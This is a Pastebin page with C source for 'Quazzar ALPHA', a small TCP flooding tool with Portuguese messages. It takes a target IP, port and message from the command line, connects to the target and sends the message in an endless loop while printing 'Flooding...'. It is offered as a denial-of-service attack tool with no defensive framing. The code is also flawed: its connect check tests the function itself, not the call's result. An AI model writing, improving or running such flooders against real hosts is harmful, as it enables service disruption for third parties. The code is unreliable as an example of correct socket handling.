Guest User

Quazzar Source Code

a guest
Aug 11th, 2012
5
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.58 KB | None | 0 0
  1. #include <time.h>
  2. #include <math.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <malloc.h>
  6. #include <stdarg.h>
  7. #include <strings.h>
  8. #include <string.h>
  9. #include <pthread.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <arpa/inet.h>
  13. #include <unistd.h>
  14. #include <netinet/in.h>
  15. #include <netinet/ip.h>
  16. #include <netinet/udp.h>
  17. #include <sys/stat.h>
  18. #include <fcntl.h>
  19.  
  20.  
  21. struct sockaddr_in alvo;
  22. int soquete;
  23.  
  24. void thread(char message[])
  25. {
  26.     connect(soquete,(struct sockaddr *)&alvo,sizeof alvo);
  27.     if(connect <= 0)
  28.     {
  29.         printf("Porta provavelmente fechada...\n");
  30.         exit(1);
  31.     }
  32.     printf("Flooding...\n");
  33.     while(1)
  34.     {
  35.         send(soquete,message,strlen(message),4);
  36.     }
  37.    
  38. }
  39.  
  40. void criar_socket(char *ip[], char *porta[])
  41. {
  42.     soquete = socket(AF_INET,SOCK_STREAM,6);
  43.     alvo.sin_family = AF_INET;
  44.     alvo.sin_port = htons(atoi(*porta));
  45.     alvo.sin_addr.s_addr = inet_addr(*ip);
  46.     bzero(&(alvo.sin_zero),8);
  47.     if(soquete < 0)
  48.     {
  49.         printf("Erro na cria\u00E7\u00E3o do socket.\n");
  50.         exit(1);
  51.     }
  52. }
  53.  
  54. void main(int argc, char *argv[])
  55. {
  56.     printf("Quazzar ALPHA\n");
  57.     if(argc < 4)
  58.     {
  59.         printf("Usage %10s <IP> <Port> <Message> \n",argv[0]);
  60.         exit(1);
  61.     }
  62.     if(strlen(argv[1]) > 15 || strlen(argv[3]) > 40)
  63.     {
  64.         printf("IP inv\u00E1lido ou Mensagem muito longa\n");
  65.         exit(1);
  66.     }
  67.     const unsigned short int port = atoi(argv[2]);
  68.     if(port > 65535 || port <= 0)
  69.     {
  70.         printf("Numero de porta inv\u00E1lida...\n");
  71.         sleep(1);
  72.         exit(1);   
  73.     }
  74.     //Criação de threads recomendavel aqui
  75.     criar_socket(&argv[1],&argv[2]);
  76.     thread(argv[3]);
  77.     close(soquete);
  78. }
Advertisement
Add Comment
Please, Sign In to add comment